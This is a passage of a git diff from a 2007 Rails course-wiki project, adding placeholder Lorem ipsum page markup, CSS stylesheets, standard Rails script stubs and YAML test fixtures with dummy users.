    Maecenas tristique quam a quam. Fusce augue nulla, rhoncus in, luctus a, feugiat in, massa. Pellentesque id lorem ut libero iaculis scelerisque. Aenean aliquet, metus vitae pharetra rutrum, diam quam porta mi, at cursus purus lacus id nunc. In tortor tellus, hendrerit ut, malesuada vehicula, placerat gravida, orci. Donec ac eros. Maecenas dolor diam, lobortis sit amet, congue vel, molestie non, urna. Suspendisse potenti. Aliquam mi ligula, luctus eu, cursus vitae, tincidunt sit amet, magna. In et neque. Aliquam eu magna quis ligula elementum fringilla. Aliquam adipiscing dignissim nulla.

    + +

    3. Distribuição Binomial

    +

    Etiam commodo venenatis leo. Aliquam sodales. Phasellus quis nunc in leo porttitor imperdiet. Nulla adipiscing varius diam. Duis nec metus. Fusce vel risus ac metus aliquam elementum. In semper velit. Nam dignissim diam. Nulla facilisi. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Nulla volutpat imperdiet arcu. Quisque placerat ipsum ac metus.

    + +

    3.1. Exemplo

    +

    Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos hymenaeos. Nullam leo. Aliquam convallis molestie tellus. Donec ullamcorper cursus diam. Sed eleifend velit ut lectus. Sed mattis, urna vitae vulputate malesuada, dui purus eleifend nunc, at elementum sapien nulla et justo. In placerat est vel mauris. Maecenas nibh. Maecenas molestie erat eget quam. Nam at sapien in felis pellentesque viverra. Curabitur auctor felis vitae odio. Morbi condimentum velit ac lorem. Vestibulum ligula neque, sollicitudin vitae, placerat eget, feugiat nec, libero. Donec non odio. Aliquam luctus, lacus quis mollis vulputate, sapien magna fermentum libero, eu condimentum turpis purus sed tellus.

    +

    3.1.2. Calculando o limite inferior

    +

    Etiam commodo venenatis leo. Aliquam sodales. Phasellus quis nunc in leo porttitor imperdiet. Nulla adipiscing varius diam. Duis nec metus. Fusce vel risus ac metus aliquam elementum. In semper velit. Nam dignissim diam. Nulla facilisi. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Nulla volutpat imperdiet arcu. Quisque placerat ipsum ac metus.

    +
    +

    Maecenas tristique quam a quam. Fusce augue nulla. Pellentesque id lorem ut libero iaculis scelerisque. Aenean aliquet, metus vitae pharetra rutrum, diam quam porta mi, at cursus purus lacus id nunc. In tortor tellus, hendrerit ut, malesuada vehicula, placerat gravida, orci. Donec ac eros. Maecenas dolor diam, lobortis sit amet, congue vel, molestie non, urna. Suspendisse potenti. Aliquam mi ligula, luctus eu, cursus vitae, tincidunt sit amet, magna. In et neque. Aliquam eu magna quis ligula elementum fringilla. Aliquam adipiscing dignissim nulla.

    +
      +
    1. Rhoncus in,
    2. +
    3. Luctus a,
    4. +
    5. Feugiat in, massa.
    6. +
    +

    Etiam commodo venenatis leo. Aliquam sodales. Phasellus quis nunc in leo porttitor imperdiet. Nulla adipiscing varius diam. Duis nec metus. Fusce vel risus ac metus aliquam elementum. In semper velit. Nam dignissim diam. Nulla facilisi. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Nulla volutpat imperdiet arcu. Quisque placerat ipsum ac metus.

    +
    +
    +
    + +
    +
    + + +
    + + diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 0000000..4ab9e89 --- /dev/null +++ b/public/robots.txt @@ -0,0 +1 @@ +# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file \ No newline at end of file diff --git a/public/stylesheets/default.css b/public/stylesheets/default.css new file mode 100644 index 0000000..3c0dc1f --- /dev/null +++ b/public/stylesheets/default.css @@ -0,0 +1,373 @@ +* { margin: 0px; padding: 0px; line-height: 18px; } + +a { + color: #069; + text-decoration: none; +} + +a:hover { + border-bottom: 1px dotted #580; +} + +a:focus { + -moz-outline: none; +} + +h1 { + margin: 18px 0px; + line-height: 18px; +} + +h2 { + margin: 18px 0px; + line-height: 18px; +} + +h3, h4 { + font-size: 12px; +} + +ol, dl, ul { + line-height: 18px; + margin: 18px 0px; + padding-left: 54px; +} + +.content ul { + list-style: none; + padding-left: 36px; +} + +.content ul li { + background-image: url(/images/bullet.gif); + background-position: 0px 7px; + background-repeat: no-repeat; + padding-left: 15px; +} +dt { + margin-top: 18px; + margin-left: -27px; +} + +table tr td { + line-height: 18px; +} + +table { + border-spacing: 0px; +} + +h1, h2, h3, h4 { + font-weight: normal; + padding: 0px 18px; + margin: 18px 0px; +} + +h1 { + font-size: 24px; +} + +h2 { + font-size: 22px; +} + +h3 { + font-weight: bold; + font-size: 12px; +} + +p { + line-height: 18px; + margin-top: 18px; + margin-bottom: 0px; +} + +p.middle:first-letter { + padding-left: 18px; +} + +p.middle { + margin-top: 0px; +} + +body { + color: #222; + margin: 0px; + padding: 0px; + font-size: 12px; + font-family: verdana, sans-serif; + font-weight: normal; + background-color: #fff; + border-bottom: 5px solid #000; + min-width: 780px; +} + +#wrapper { + margin: 0em auto; +} + +#header { + background-image: url(/images/header_bg.png); + background-position: top; + background-repeat: repeat-x; + background-color: #069; + border-top: 3px solid #069; + color: #eee; + height: 42px; +} + +#header h1 { + font-size: 30px; + margin: 0px 30px; + display: inline; + line-height: 72px; + float: left; + font-weight: normal; +} + +#header_menu { + font-size: 10px; + text-align: right; + height: 24px; + background-color: #069; + border-bottom: 3px solid #069; +} + +#header_menu ul { + margin: 2px 0px; + float: right; + list-style: none; +} + +#header_menu ul li { + float: left; + line-height: 18px; + border-right: 1px solid #333; +} + +#header_menu a { + color: #ccc; + display: block; + padding: 0px 1.5em; + line-height: 18px; + border-bottom: 0px; +} + +#header_menu a:hover { + color: #fff; + text-decoration: none; + background-color: #000; + border-bottom: 0px; +} + +#header_menu ul li.last { + border-right: 0px; +} + +#strip { + height: 11px; + border-bottom: 7px solid #fff; + background-color: #eee; +} + +#site { + padding: 0px; + margin-top: 18px; + border-bottom: 30px solid #eee; +} + +#footer { + display: none; + background-image: url(/images/footer_bg.png); + background-position: top; + background-repeat: repeat-x; + background-color: #000; + border-top: 5px solid #000; + margin: 0em; + height: 10em; +} + +.float_panel_left { + float: left; + margin: 3px 0px 0px 0px; + padding: 0em; +} + +.float_panel_right { + float: right; + margin: 3px 0px 0px 0px; + padding: 0em; +} + +.menu { + border-top: 3px solid #000; + width: 180px; + margin: -3px 18px 18px 18px; +} + +.menu ul { + margin: 0px 0px; padding: 0px; + list-style: none; +} + +.menu li a, .mural li { + display: block; + border-top: 1px solid #ddd; + line-height: 36px; + padding: 0px 10px; + border-bottom: 0px; + margin-top: -1px; +} + +.menu li a:hover { + background-color: #f5f5f5; + border-bottom: 0px; +} + +.menu h1 { + font-size: 12px; + font-weight: bold; + line-height: 36px; + margin: 0px 0em; padding: 0px 9px; +} + +.content { + margin: -3px 0px 0px 0px; + padding: 0em; + border-top: 3px solid #000; +} + +.content h1 { + margin: 18px 0px; + line-height: 36px; + font-size: 24px; +} + +#innerwrapper_2column { + padding: 0em 18px 0em 216px; +} + +#innerwrapper_3column { + padding: 0em 216px 0em 216px; +} + +.calendario { width: 15em } +.calendario tr td { + font-size: 11px; + text-align: center; +} + +.mural li { + font-size: 11px; + line-height: 18px; + margin: 0px; margin-top: -1px; + padding: 9px 0px; +} + +#location { + margin: 0em 18px; +} + +#location a { + margin: 0em 9px; + line-height: 18px; +} + +.latex { + text-align: center; + margin-bottom: -5px; +} + +.wikicmd { + font-size: 10px; + float: right; +} + +.wikicmd a { + padding: 0px 9px; +} + +#toc { + display: table; + border: 2px solid #000; + margin: 16px 18px; + padding: 9px 0px 7px 0px; +} + +#toc h1 { + text-align: center; + margin: 0px 18px 0px 18px; + font-size: 12px; + line-height: 18px; +} + +#toc ol { + margin: 0px; + padding: 0px 36px; +} + +h4.title { + margin-bottom: -18px; +} + +.box { + margin: 18px 0px; +} + +.box h3 { + border-top: 2px solid #000; + line-height: 34px; + margin: 0px; +} + +.box ul { + margin-top: 0px; + margin-bottom: 36px; +} + +.box li { + background-position: 0px 16px !important; + line-height: 18px; + padding: 9px 0px 8px 16px !important; + border-bottom: 1px solid #ccc; +} + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * Repositorio * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +.repositorio h1, .repositorio p { + padding: 0px; + margin: 0px; +} + +.repositorio ul { + padding: 0px 36px !important; +} + +.repositorio li h1 { + font-size: 12px; + line-height: 18px; +} + +.repositorio li { + background-repeat: no-repeat; + background-position: 0px !important; + list-style: none; + padding: 9px 0px 8px 27px !important; + border-bottom: 1px solid #ccc; + line-height: 18px; +} + +.repositorio .mime_plain_text { + background-image: url(/images/tango/text-x-generic.png); +} + +.repositorio .mime_presentation { + background-image: url(/images/tango/x-office-presentation.png); +} + +body { + ackground-image: url(/prototype/line.png); +} + diff --git a/public/stylesheets/scaffold.css b/public/stylesheets/scaffold.css new file mode 100644 index 0000000..8f239a3 --- /dev/null +++ b/public/stylesheets/scaffold.css @@ -0,0 +1,74 @@ +body { background-color: #fff; color: #333; } + +body, p, ol, ul, td { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; +} + +pre { + background-color: #eee; + padding: 10px; + font-size: 11px; +} + +a { color: #000; } +a:visited { color: #666; } +a:hover { color: #fff; background-color:#000; } + +.fieldWithErrors { + padding: 2px; + background-color: red; + display: table; +} + +#errorExplanation { + width: 400px; + border: 2px solid red; + padding: 7px; + padding-bottom: 12px; + margin-bottom: 20px; + background-color: #f0f0f0; +} + +#errorExplanation h2 { + text-align: left; + font-weight: bold; + padding: 5px 5px 5px 15px; + font-size: 12px; + margin: -7px; + background-color: #c00; + color: #fff; +} + +#errorExplanation p { + color: #333; + margin-bottom: 0; + padding: 5px; +} + +#errorExplanation ul li { + font-size: 12px; + list-style: square; +} + +div.uploadStatus { + margin: 5px; +} + +div.progressBar { + margin: 5px; +} + +div.progressBar div.border { + background-color: #fff; + border: 1px solid grey; + width: 100%; +} + +div.progressBar div.background { + background-color: #333; + height: 18px; + width: 0%; +} + diff --git a/public/stylesheets/wiki.css b/public/stylesheets/wiki.css new file mode 100644 index 0000000..91d3c57 --- /dev/null +++ b/public/stylesheets/wiki.css @@ -0,0 +1,797 @@ +* { margin: 0px; padding: 0px; line-height: 18px; } + +a { + text-decoration: none; +} + +a:focus { + -moz-outline: none; +} + +h1 { + margin: 18px 0px; + line-height: 18px; +} + +h2 { + margin: 18px 0px; + line-height: 18px; +} + +h3, h4 { + font-size: 12px; +} + +ol, dl, ul { + line-height: 18px; + margin: 18px 0px; + padding-left: 54px; +} + +ul ul, ol ol { + margin: 0px; +} + +.content ul { + list-style: none; + padding-left: 18px; +} + +.content ul li { + background-image: url(/images/bullet.gif); + background-position: 0px 7px; + background-repeat: no-repeat; + padding-left: 15px; +} + + +.content blockquote { + margin-left: 27px; + border-left: 3px solid #ccc; + padding-left: 12px; + font-style: italic; +} + +.content pre { + margin-top: 18px; + padding: 9px 15px; +} + +.content code { + background-color: #f4f4f4; +} + +.content p img.insert_image { +} + +dt { + margin-top: 9px; + margin-left: -27px; +} + +table tr td { + line-height: 18px; +} + +table { + border-spacing: 0px; +} + +h1, h2, h3, h4 { + font-weight: normal; + padding: 0px 18px; + margin: 18px 0px; +} + +h1 { + font-size: 24px; +} + +h2 { + font-size: 22px; +} + +h3 { + font-weight: bold; + font-size: 12px; +} + +p { + line-height: 18px; + margin-top: 18px; + margin-bottom: 0px; + font-size: 12px; +} + +p.middle:first-letter { + padding-left: 18px; +} + +p.middle { + margin-top: 0px; +} + +body { + color: #222; + margin: 0px; padding: 0px 9px; + + font-size: 12px; + font-family: verdana, sans-serif; + font-weight: normal; + min-width: 780px; + + background-image: url(/images/bg_body.png); + background-repeat: repeat-x; + background-color: #f4f4f4; +} + +#wrapper { + margin: 0em auto; +} + +#header { + background-image: url(/images/header_bg.png); + background-position: top; + background-repeat: repeat-x; + color: #eee; + height: 28px; + margin: 0px -9px; +} + +#header h1 { + color: #eee; + font-size: 24px; + margin: 0px 30px; + display: inline; + line-height: 50px; + font-weight: normal; + float: left; +} + +#header_menu { + font-size: 11px; + text-align: right; + height: 22px; + border-bottom: 3px solid #ddd; + margin: 0px -9px; + color: #eee; +} + +#header_menu ul { + margin: 0px 0px; + float: right; + list-style: none; +} + +#header_menu ul li { + float: left; + line-height: 18px; +} + +#header_menu a { + color: #ccc; + display: block; + padding: 0px 1.5em; + line-height: 18px; + border-bottom: 0px; +} + +#header_menu a:hover { + color: #fff; + text-decoration: none; + border-bottom: 0px; +} + +#header_menu ul li.last { + border-right: 0px; +} + +#strip { + display: none; + border-bottom: 3px solid #ddd; +} + +#site { + padding: 0px; + margin-top: 18px; + border-bottom: 30px solid #eee; +} + +#footer { + display: none; + background-image: url(/images/footer_bg.png); + background-position: top; + background-repeat: repeat-x; + margin: 0em; + height: 10em; +} + +.float_panel_left { + float: left; + margin: 3px 0px 0px 0px; + padding: 0em; +} + +.float_panel_right { + float: right; + margin: 3px 0px 0px 0px; + padding: 0em; +} + +.menu { + width: 177px; + margin: -3px 0px 15px 0px; + background-color: #fff; +} + +.menu ul { + margin: 0px 0px; padding: 0px; + list-style: none; +} + +.menu li, .news li, #shoutbox li { + border-top: 1px solid #eee; + margin-top: -1px; + padding: 9px 10px; +} + + +.menu h1 { + font-size: 12px; + font-weight: bold; + margin: 0px 0em; padding: 9px; +} + +.content { + margin: -3px 0px 0px 0px; + padding: 0em; + background-color: #fff; +} + +.content h1 { + margin: 18px 0px; + line-height: 36px; + font-size: 24px; +} + +.content p:first-child { + margin-top: 9px; +} + +#innerwrapper_2column { + padding: 0em 0px 0em 208px; +} + +#innerwrapper_3column { + padding: 0em 208px 0em 208px; +} + +.calendario { + width: 170px; + border-top: 1px solid #eee; + margin-top: -1px; + padding: 9px 0px; +} + +.calendario tr td { + font-size: 11px; + text-align: center; +} + +.calendario th { + font-weight: normal; + font-size: 11px; +} + +.otherMonth { + color: #ccc; +} + + +.widget_news li, .widget_events li, #shoutbox li, #shoutbox { + font-size: 11px; +} + +.widget_news li, #shoutbox li { + line-height: 18px; + margin: 0px; margin-top: -1px; + padding: 9px 0px; +} + + +#shoutbox textarea { + font-family: sans-serif; + font-size: 11px; + width: 160px; + height: 35px; + border: 1px solid #ccc; + margin: 15px 0px 8px 0px; + padding: 0px 0px 0px 4px; + line-height: 18px; +} + +#shoutbox input { + border-width: 1px; +} + + +.menu h3, .menu h4 { + margin: 0px; padding: 0px; + font-weight: normal; + font-size: 11px; +} + +.menu h4 { + float: right; +} + +#location { + margin: 9px 0px -12px 0px; + padding: 6px 18px; +} + +#location a { + margin: 0em 9px; + line-height: 18px; +} + +#location a:first-child { + margin-left: 0px; +} + +.latex { + text-align: center; + margin-bottom: -5px; +} + +.wikicmd, .cmd { + font-size: 10px; + float: right; +} + +.wikicmd a, .cmd a { + margin: 0px 9px; +} + +.cmd a { + line-height: 32px; +} + +.box .cmd a { + line-height: 30px; +} + +#toc { + display: table; + margin: 16px 18px; + padding: 9px 0px 7px 0px; +} + +#toc h1 { + text-align: center; + margin: 0px 18px 0px 18px; + font-size: 12px; + line-height: 18px; +} + +#toc ol { + margin: 0px; + padding: 0px 36px; +} + +h4.title, h1.title { + margin: 0px 0px -9px 0px; + line-height: 36px; +} + +.box { + margin: 18px 0px; +} + +.box h3, .box th { + line-height: 34px; + margin: 0px; + border-bottom: 1px solid #eee; + font-weight: normal !important; +} + +.box ul { + margin-top: 0px; + margin-bottom: 36px; + padding-left: 0px; +} + +.box li { + background-position: 16px 16px !important; + line-height: 18px; + padding: 9px 0px 8px 32px !important; + border-bottom: 1px solid #f4f4f4; +} + +.div_calendario .date { + line-height: 36px; + width: 105px; + text-align: right; + float: left; +} + +.div_calendario ul { + padding-left: 115px; + margin-top: -1px; + margin-bottom: 0em; + border-top: 1px solid #eee; + list-style: none !important; +} + +.div_calendario li { + border-bottom: 1px solid #eee; +} + +.div_calendario .time { + padding-right: 1em; + width: 3em; + float: left; +} + +.div_calendario .description { + padding-left: 4em; +} + +.news { + margin-top: 18px; +} + + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * Repositorio * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +.repositorio h1, .repositorio p { + padding: 0px; + margin: 0px; +} + +.repositorio li h1 { + font-size: 12px; + line-height: 18px; +} + +.repositorio li { + background-repeat: no-repeat; + background-position: 16px !important; + list-style: none; + padding: 9px 0px 8px 43px !important; + border-bottom: 1px solid #eee; + line-height: 18px; +} + +.repositorio .mime_plain_text { background-image: url(/images/tango/text-x-generic.png); } +.repositorio .mime_presentation { background-image: url(/images/tango/x-office-presentation.png); } +.repositorio .mime_document { background-image: url(/images/tango/x-office-document.png); } +.repositorio .mime_binary { background-image: url(/images/tango/application-x-executable.png); } +.repositorio .mime_zip { background-image: url(/images/tango/package-x-generic.png); } + +.spinner { + float: right; + margin-top: 8px; + margin-right: 5px; +} + +select { + min-width: 5em; +} + +.validation { + float: right; + font-size: 11px; +} + +.message, .notice{ color: #690 } +.warning { color: #c00 } + +.warning a { + color: #c00 !important; + border-bottom: 1px dotted #c00 !important +} + +.message a, .notice a { + color: #690 !important; + border-bottom: 1px dotted #690 !important +} + + +#errorExplanation { + border-bottom: 2px solid #fdd; + border-right: 2px solid #fdd; + background-color: #fee; + padding: 18px 9px; + color: #422; +} + +#passmeter { + font-size: 11px; +} + +#errorExplanation * { + margin: 0px; + font-size: 12px; + line-height: 18px; +} + +#errorExplanation h2 { + display: none; + color: #c00; + line-height: 36px; +} + +#errorExplanation p, #errorExplanation h2 { + padding-left: 9px; +} + +#errorExplanation ul { + margin-top: 9px; +} + +.news .left { + float: left; + line-height: 18px; + margin: 0px; + width: 105px; + padding-top: 8px; + padding-right: 15px; + text-align: right; +} + +.news h4 { + margin: 8px 0px; + padding: 0px; +} + +.news p { + padding-left: 120px; + margin-top: 8px; +} + +.news .line { + border-top: 1px solid #eee; + margin-bottom: 9px; +} + + +.history { + margin-top: 18px; + margin-left: 18px; +} + +.history h4 { + margin-bottom: 0px; +} + +.history pre { + background-color: #e0e0e0; + margin-left: 20px; + padding: 9px; +} + +.tex_block { + text-align: center; + margin: 18px 0px; +} + +img { + vertical-align: middle; +} + +input, button, textarea { + border-width: 1px; + padding: 2px 5px; + xmargin-bottom: 9px; +} + +textarea { + width: 100%; +} + +.no_itens { + color: #aaa; +} + + +.history input { + margin: 0px 10px 0px 0px; +} + +.history td { + line-height: 18px; +} + + +#wiki_preview { + background-image: url(/images/rascunho.png); + border: 2px solid #e4e4e4; + padding: 10px; + overflow: auto; + margin: 18px 0px; +} + +.diff { + font-family: monospace; + font-size: small; + width: 100%; +} + +.diff_add, .diff_del, .diff_line { + padding: 0px 9px 0px 18px; +} + +.diff_add { + background-color: #dfd; + border-left: 2px solid #0c0; + border-right: 1px solid #0c0; + color: #050; +} + +.diff_line { + background-color: #f3f3f3; + border-left: 2px solid #bbb; + border-right: 1px solid #bbb; + color: #333; +} + +.diff_del { + background-color: #fdd; + border-left: 2px solid #c00; + border-right: 1px solid #c00; + color: #500; +} + +.diff_space { + height: 18px; + margin-top: 18px; +} + +.diff_border_add { + border-top: 1px solid #0c0; +} + +.diff_border_del { + border-top: 1px solid #c00; +} + +.diff_border_line { + border-top: 1px solid #bbb; +} + +xbody { background-image: url(/prototype/line.png); } +xhtml * { background-color: transparent !important; } + +.menu, .content, #location { + border-right: 2px solid #ddd; + border-bottom: 2px solid #ddd; + background-color: #fff; +} + +.menu { padding: 0px 9px; } +.content { padding: 9px 18px 36px 18px; } +#innerwrapper_2column .content { + padding: 9px 27px 36px 27px; +} + +form dt, form dd { + margin-left: 0px; +} + +form dl { + padding-left: 0px; +} + +.grey { + opacity: 0.5; +} + +.avatar { + border: 1px solid #ccc; + padding: 2px; +} + +.card img.avatar { + float: left; + margin: 5px 18px 0px 0px; +} + +.card h1 { margin-bottom: 0px; } +.card p { margin-top: 0px; } + +.color_box { +width: 18px; +height: 18px; +margin: 2px; +} + +.color_theme { +float: left; +border: 1px solid #ccc; +margin: 0px 2px; +text-align: center; +} + +.color_theme { + margin-top: 5px; +} + +.color_theme input { + margin: 3px 0px; +} + +.clear { clear:both; } + +.icon { + margin: 1px 1px !important; +} + +.icon img { + background-color: #bbb; + background-repeat: no-repeat; +} + +.icon:hover { border-bottom: 0px; } +.icon img { border: 0px solid #fff; } +.menu .cmd { + line-height: 12px !important; + margin-top: -1px; +} + +ul.log li { + border-top: 1px solid #eee; + padding: 4px 0px 4px 15px; + background-position: 0px 12px; +} + +table.log { + margin-top: 18px; + border-collapse: collapse; + /*width: 100%;*/ +} + +table.log td { + border-top: 1px solid #eee; + padding: 4px 12px; +} + +table.log th { + padding: 4px 12px; + border-top: 1px solid #eee; + font-weight: normal; + text-align: left; +} + +.pagination { + margin: 18px 0px; + text-align: right; +} + +.left { float: left !important; } +.right { float: right !important; } + +.fieldWithErrors input, .fieldWithErrors textarea { + border: 2px solid #c00; +} + +.insert_image { + display: block; + margin: 0px auto; +} + +.narrow { + padding: 4px !important; +} + +#wiki_text h2, #wiki_text h3, #wiki_text h4 { + font-weight: bold; +} + +#wiki_text h1 { font-size: 20px; } +#wiki_text h2 { font-size: 14px; } +#wiki_text h3 { font-size: 12px; } +#wiki_text h4, #wiki_text h5, #wiki_text h6 { font-size: 11px; } + diff --git a/script/about b/script/about new file mode 100755 index 0000000..cd38a32 --- /dev/null +++ b/script/about @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/about' diff --git a/script/console b/script/console new file mode 100755 index 0000000..498077a --- /dev/null +++ b/script/console @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/console' diff --git a/script/destroy b/script/destroy new file mode 100755 index 0000000..a4df765 --- /dev/null +++ b/script/destroy @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/destroy' diff --git a/script/generate b/script/generate new file mode 100755 index 0000000..173a9f1 --- /dev/null +++ b/script/generate @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/generate' diff --git a/script/performance/benchmarker b/script/performance/benchmarker new file mode 100755 index 0000000..c842d35 --- /dev/null +++ b/script/performance/benchmarker @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/performance/benchmarker' diff --git a/script/performance/profiler b/script/performance/profiler new file mode 100755 index 0000000..d855ac8 --- /dev/null +++ b/script/performance/profiler @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/performance/profiler' diff --git a/script/performance/request b/script/performance/request new file mode 100755 index 0000000..ae3f38c --- /dev/null +++ b/script/performance/request @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/performance/request' diff --git a/script/plugin b/script/plugin new file mode 100755 index 0000000..87cd207 --- /dev/null +++ b/script/plugin @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/plugin' diff --git a/script/process/inspector b/script/process/inspector new file mode 100755 index 0000000..bf25ad8 --- /dev/null +++ b/script/process/inspector @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/process/inspector' diff --git a/script/process/reaper b/script/process/reaper new file mode 100755 index 0000000..c77f045 --- /dev/null +++ b/script/process/reaper @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/process/reaper' diff --git a/script/process/spawner b/script/process/spawner new file mode 100755 index 0000000..7118f39 --- /dev/null +++ b/script/process/spawner @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/process/spawner' diff --git a/script/runner b/script/runner new file mode 100755 index 0000000..a4a7cb2 --- /dev/null +++ b/script/runner @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/runner' diff --git a/script/server b/script/server new file mode 100755 index 0000000..3c67f39 --- /dev/null +++ b/script/server @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/server' diff --git a/test/fixtures/attachments.yml b/test/fixtures/attachments.yml new file mode 100644 index 0000000..62fb655 --- /dev/null +++ b/test/fixtures/attachments.yml @@ -0,0 +1,17 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +one: + id: 1 +two: + id: 2 diff --git a/test/fixtures/courses.yml b/test/fixtures/courses.yml new file mode 100644 index 0000000..4c09948 --- /dev/null +++ b/test/fixtures/courses.yml @@ -0,0 +1,19 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +course_1: + id: 1 + short_name: course1 + full_name: Firt Course + description: Description goes here + diff --git a/test/fixtures/events.yml b/test/fixtures/events.yml new file mode 100644 index 0000000..a2d51ef --- /dev/null +++ b/test/fixtures/events.yml @@ -0,0 +1,23 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +event1: + id: 1 + course_id: 1 + created_by: 1 + title: Event 1 + date: <%= Date.today %> + time: <%= Time.now %> + description: A random test event +#two: +# id: 2 diff --git a/test/fixtures/log_entries.yml b/test/fixtures/log_entries.yml new file mode 100644 index 0000000..5bf0293 --- /dev/null +++ b/test/fixtures/log_entries.yml @@ -0,0 +1,7 @@ +# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html + +# one: +# column: value +# +# two: +# column: value diff --git a/test/fixtures/messages.yml b/test/fixtures/messages.yml new file mode 100644 index 0000000..1fb33bc --- /dev/null +++ b/test/fixtures/messages.yml @@ -0,0 +1,23 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +news_message: + id: 1 + title: test + body: test + timestamp: <%= Time.now %> + receiver_id: 1 + sender_id: 1 + type: News +#two: +# id: 2 diff --git a/test/fixtures/notifications/forgot_password b/test/fixtures/notifications/forgot_password new file mode 100644 index 0000000..037c074 --- /dev/null +++ b/test/fixtures/notifications/forgot_password @@ -0,0 +1,3 @@ +Notifications#forgot_password + +Find me in app/views/notifications/forgot_password.rhtml diff --git a/test/fixtures/users.yml b/test/fixtures/users.yml new file mode 100644 index 0000000..d32ac28 --- /dev/null +++ b/test/fixtures/users.yml @@ -0,0 +1,46 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +bob: + id: 1000001 + login: bob + salt: 1000 + name: bob + email: bob@mcbob.com + hashed_password: 77a0d943cdbace52716a9ef9fae12e45e2788d39 # test + display_name: bob + last_seen: <%= Time.now %> + admin: true + + +existingbob: + id: 1000002 + salt: 1000 + name: existingbob + login: existingbob + email: exbob@mcbob.com + hashed_password: 77a0d943cdbace52716a9ef9fae12e45e2788d39 # test + display_name: existingbob + last_seen: <%= Time.now %> + admin: false + +longbob: + id: 1000003 + salt: 1000 + name: longbob + login: longbob + email: lbob@mcbob.com + hashed_password: 00728d3362c26746ec25963f71be022b152237a9 # longtest + display_name: longbob + last_seen: <%= Time.now %> + admin: false diff --git a/test/functional/attachments_controller_test.rb b/test/functional/attachments_controller_test.rb new file mode 100644 index 0000000..586d11c --- /dev/null +++ b/test/functional/attachments_controller_test.rb @@ -0,0 +1,108 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, 